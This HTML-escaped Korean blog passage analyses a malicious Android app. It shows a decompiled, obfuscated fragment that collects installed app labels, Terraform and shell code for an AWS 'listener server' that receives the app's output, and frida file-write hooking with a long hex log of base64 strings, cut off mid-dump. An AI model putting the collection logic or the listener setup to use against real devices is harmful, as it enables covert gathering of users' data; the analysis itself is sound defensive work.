} catch (PackageManager.NameNotFoundException unused3) {
    // 패키지를 찾지 못한 경우에 대한 예외 처리
}

// 애플리케이션 라벨을 가져옴. 만약 애플리케이션 정보가 없으면 기본 값을 사용
CharSequence applicationLabel2 = applicationInfo2 != null ? packageManager2.getApplicationLabel(applicationInfo2) : llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.f89l[3];

// 문자열을 조합하여 로그를 출력 또는 다른 작업을 수행
E(((String) applicationLabel2) + &quot;#&quot; + v2 + &quot;#&quot; + String.valueOf(i2));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;리스너 서버 구축&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리스너 서버는 aws로 구축하였으며 원할한 배포를 위해 테라폼으로 서버를 구축하였다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 해당 코드를 실행하게 되면 알아서 인스턴스 및 생성하고있는 ip만 접근이 가능하게 보안 그룹의 인바운드 정책이 설정되고 서버에 파이썬과 리스너 코드가 자동으로 설치된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;listener.tf&lt;/p&gt;
&lt;pre id=&quot;code_1703758273672&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# configured aws provider with proper credentials
provider &quot;aws&quot; {
  region    = &quot;us-east-2&quot;
}

provider &quot;http&quot; {}

data &quot;http&quot; &quot;workstation-external-ip&quot; {
  url = &quot;http://ipv4.icanhazip.com&quot;
}

# 내 외부 IP 주소를 CIDR 형식으로 저장
locals {
  workstation-external-cidr = &quot;${chomp(data.http.workstation-external-ip.response_body)}/32&quot;
}


# create default vpc if one does not exit
resource &quot;aws_default_vpc&quot; &quot;default_vpc&quot; {

  tags    = {
    Name  = &quot;default vpc&quot;
  }
}


# use data source to get all avalablility zones in region
data &quot;aws_availability_zones&quot; &quot;available_zones&quot; {}


# create default subnet if one does not exit
resource &quot;aws_default_subnet&quot; &quot;default_az1&quot; {
  availability_zone = data.aws_availability_zones.available_zones.names[0]

  tags   = {
    Name = &quot;default subnet&quot;
  }
}


# create security group for the ec2 instance
resource &quot;aws_security_group&quot; &quot;ec2_security_group&quot; {
  name        = &quot;listen_ec2_security_group&quot;
  description = &quot;allow access exteral ip and 22&quot;
  vpc_id      = aws_default_vpc.default_vpc.id

  # allow access on port 8080
  ingress {
    description = &quot;http proxy access&quot;
    from_port   = 0
    to_port     = 0
    protocol    = &quot;-1&quot;  # -1은 모든 프로토콜을 나타냅니다.
    cidr_blocks = [local.workstation-external-cidr]
  } 

  # allow access on port 22
  ingress {
    description      = &quot;ssh access&quot;
    from_port        = 22
    to_port          = 22
    protocol         = &quot;tcp&quot;
    cidr_blocks      = [&quot;0.0.0.0/0&quot;]
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = -1
    cidr_blocks      = [&quot;0.0.0.0/0&quot;]
  }

  tags   = {
    Name = &quot;listener server security group&quot;
  }
}


# use data source to get a registered amazon linux 2 ami
data &quot;aws_ami&quot; &quot;amazon_linux_2&quot; {
  most_recent = true
  owners      = [&quot;amazon&quot;]
  
  filter {
    name   = &quot;owner-alias&quot;
    values = [&quot;amazon&quot;]
  }

  filter {
    name   = &quot;name&quot;
    values = [&quot;amzn2-ami-hvm*&quot;]
  }
}


# launch the ec2 instance and install website
resource &quot;aws_instance&quot; &quot;ec2_instance&quot; {
  ami                    = data.aws_ami.amazon_linux_2.id
  instance_type          = &quot;t2.micro&quot;
  subnet_id              = aws_default_subnet.default_az1.id
  vpc_security_group_ids = [aws_security_group.ec2_security_group.id]
  key_name               = &quot;ec2_key&quot;
  user_data              = file(&quot;install.sh&quot;)

  tags = {
    Name = &quot;listener server&quot;
  }
}


# an empty resource block
resource &quot;null_resource&quot; &quot;name&quot; {

  # ssh into the ec2 instance 
  connection {
    type        = &quot;ssh&quot;
    user        = &quot;ec2-user&quot;
    private_key = file(&quot;ec2_key.pem&quot;)
    host        = aws_instance.ec2_instance.public_ip
  }

  # copy the install.sh file from your computer to the ec2 instance 
  provisioner &quot;file&quot; {
    source      = &quot;install.sh&quot;
    destination = &quot;/tmp/install.sh&quot;
  }

  provisioner &quot;file&quot; {
    source      = &quot;listener.py&quot;
    destination = &quot;/tmp/listener.py&quot;
  }

  # set permissions and run the install_jenkins.sh file
  provisioner &quot;remote-exec&quot; {
    inline = [
        &quot;sudo chmod +x /tmp/install.sh&quot;,
        &quot;sh /tmp/install.sh&quot;,
    ]
  }

  # wait for ec2 to be created
  depends_on = [aws_instance.ec2_instance]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;install.sh&lt;/p&gt;
&lt;pre id=&quot;code_1703758287806&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash
sudo yum update &amp;ndash;y
sudo yum groupinstall 'Development Tools' -y
sudo yum install openssl-devel bzip2-devel libffi-devel wget -y
sudo yum install python3&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ec2_key.pem&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;frida 시도&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frida android file trace&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://codeshare.frida.re/@FrenchYeti/android-file-system-access-hook/&quot;&gt;https://codeshare.frida.re/@FrenchYeti/android-file-system-access-hook/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;file을 기록하는 행위를 frida로 잡아서 동적 디버깅을 시도했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;frida-server 설치 및 실행&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frida-server 설치는 다음링크에서 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://power-girl0-0.tistory.com/59&quot;&gt;https://power-girl0-0.tistory.com/59&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;녹스로 adb device를 못찾아 shell에 접근이 안된다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703758337788&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;adb.exe connect 127.0.0.1:62001&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 명령어를 실행하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;녹스에서 앱을 실행&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 41.png&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;245&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJFFBm/btsCKsMyWNi/pITNtdX6gBQcPPmpM63HK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJFFBm/btsCKsMyWNi/pITNtdX6gBQcPPmpM63HK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJFFBm/btsCKsMyWNi/pITNtdX6gBQcPPmpM63HK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJFFBm%2FbtsCKsMyWNi%2FpITNtdX6gBQcPPmpM63HK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;348&quot; height=&quot;245&quot; data-filename=&quot;Untitled 41.png&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;245&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;악성앱 패키지 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지는 pm listpackage로 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 42.png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXMzYR/btsCMAcgE7z/1iuK6iZGUbPeoNvj7uJWq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXMzYR/btsCMAcgE7z/1iuK6iZGUbPeoNvj7uJWq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXMzYR/btsCMAcgE7z/1iuK6iZGUbPeoNvj7uJWq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXMzYR%2FbtsCMAcgE7z%2F1iuK6iZGUbPeoNvj7uJWq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;164&quot; data-filename=&quot;Untitled 42.png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 저장후 인자로 넘겨줘서 실행&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후킹 코드를 android-file-system-access-hook.js 로 저장후 다음과 같이 frida를 후킹한다.&lt;/p&gt;
&lt;pre id=&quot;code_1703758373997&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;frida -U -l android-file-system-access-hook.js keen.cache.explosion&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 43.png&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1aVd7/btsCG4rS43l/ioWxrFAoph7huyRRlxGEO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1aVd7/btsCG4rS43l/ioWxrFAoph7huyRRlxGEO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1aVd7/btsCG4rS43l/ioWxrFAoph7huyRRlxGEO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1aVd7%2FbtsCG4rS43l%2FioWxrFAoph7huyRRlxGEO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1175&quot; height=&quot;356&quot; data-filename=&quot;Untitled 43.png&quot; data-origin-width=&quot;1175&quot; data-origin-height=&quot;356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 후킹이 진행이 안될수 %resume을 입력해주면 제대로 동작하는것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 녹스에서 다른 애플리케이션을 실행할때마다 파일이 생성되는것을 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 44.png&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzTggZ/btsCN5iKY4V/W2w07Qa2hDXbqi5pKODCqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzTggZ/btsCN5iKY4V/W2w07Qa2hDXbqi5pKODCqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzTggZ/btsCN5iKY4V/W2w07Qa2hDXbqi5pKODCqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzTggZ%2FbtsCN5iKY4V%2FW2w07Qa2hDXbqi5pKODCqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1169&quot; height=&quot;374&quot; data-filename=&quot;Untitled 44.png&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 출력 결과&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 45.png&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;654&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bezLqO/btsCKSRYktj/tkfVlTgzAqGZB1u95FW1U1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bezLqO/btsCKSRYktj/tkfVlTgzAqGZB1u95FW1U1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bezLqO/btsCKSRYktj/tkfVlTgzAqGZB1u95FW1U1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbezLqO%2FbtsCKSRYktj%2FtkfVlTgzAqGZB1u95FW1U1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;654&quot; data-filename=&quot;Untitled 45.png&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;654&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;pre id=&quot;code_1703758427754&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]): 

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 51 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,335)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 49 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 50  ....bm.o...j.+..\n0010  74 4F 75 4E 6C 43 44 73 6C 37 54 72.\n0030  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .\n 4E [8128] bytes of zeroes..gy...j......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4E 51 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 33 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 79 45  ....bm.o...j.+y.\n0010  70 4F 79 67 6C 56 30 6A 4D 41 3D 3D.\n0020  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .\n    [8144] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 29 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 76 73 68 4B 54 73  ...k......vsh..s\n0010  6F 4A 56 64 49 7A 55 3D 0A 3E 0D 0A..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 29 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 76 73 68 4B 54 73  ...k......vsh..s\n0010  6F 4A 56 64 49 7A 55 3D 0A 3E 0D 0A..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,335)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 653 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 71 79  ....bm.o...j.+qy\n0010  6A 4F 79 65 68 43 44 74 6D 4C 6E 73 6E 59 41 67  j.yeh..tm.nsn..g\n0020  37 4A 57 78 49 4F 71 79 67 4F 79 44 69 65 32 56  ......qyg.y.ie..\n0030  6D 
4F 71 34 73 43 77 67 37 4A 32 34 37 59 53 77  m.q.s.wg.......w\n0040  36 34 53 33 4C 43 42 55 62 32 39 73 0A 63 79 77  ........b..s.cyw\n0050  67 36 34 57 35 37 49 71 6B 49 4F 79 56 73 53 44  g......qk..y.s..\n0060  73 69 71 54 
74 68 71 44 73 6C 72 51 73 49 46 74  siq.thq.slr.s..t\n0070  51 51 31 33 72 6B 35 7A 72 6E 70 6A 71 73 36 54  ....rk.zrnpjqs..\n0080  73 6C 35 44 73 6C 72 51 67 4F 69 44 73 75 61 6A  sl..slr.g.i.suaj\n0090  72 72 4C 58 73 6E 5A 
